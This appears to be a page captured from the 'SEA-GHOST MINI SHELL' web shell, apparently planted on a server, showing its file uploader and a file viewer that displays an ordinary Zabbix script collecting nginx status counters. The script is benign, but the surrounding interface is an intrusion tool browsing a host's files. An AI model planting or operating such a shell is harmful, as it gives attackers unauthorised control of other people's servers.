[ SEA-GHOST MINI SHELL]

Path : /proc/3/cwd/var/lib/zabbix/
FILE UPLOADER :
Current File : //proc/3/cwd/var/lib/zabbix/nginxstats.sh

#!/bin/bash                                                                             
                                                                                        
HOST=$1                                                                                 
PORT=$2                                                                                 
SERVER=$3
TMPF="/tmp/zabbix_ng"                                                                   
                                                                                        
curl -s "http://${HOST}:${PORT}/nginx_status" > ${TMPF}                                 
                                                                                        
active=`cat $TMPF | grep "Active connections" | cut -d':' -f2`                          
accepts=`cat $TMPF | sed -n '3p' | cut -d" " -f2`                                       
handled=`cat $TMPF | sed -n '3p' | cut -d" " -f3`                                       
requests=`cat $TMPF | sed -n '3p' | cut -d" " -f4`                                      
reading=`cat $TMPF | grep "Reading" | cut -d':' -f2 | cut -d' ' -f2`                    
writing=`cat $TMPF | grep "Writing" | cut -d':' -f3 | cut -d' ' -f2`                    
waiting=`cat $TMPF | grep "Waiting" | cut -d':' -f4 | cut -d' ' -f2`                    
echo "- nginx.active $active" > ${TMPF}                                                 
echo "- nginx.accepts $accepts" >> ${TMPF}                                              
echo "- nginx.handled $handled" >> ${TMPF}                                              
echo "- nginx.requests $requests" >> ${TMPF}
echo "- nginx.reading $reading" >> ${TMPF}
echo "- nginx.writing $writing" >> ${TMPF}
echo "- nginx.waiting $waiting" >> ${TMPF}

/usr/bin/zabbix_sender -vv -c /etc/zabbix/zabbix_agentd.conf -z $SERVER -i ${TMPF} > /dev/null 2>&1
rm ${TMPF}
echo "1"
exit 0

SEA-GHOST - SHELL CODING BY SEA-GHOST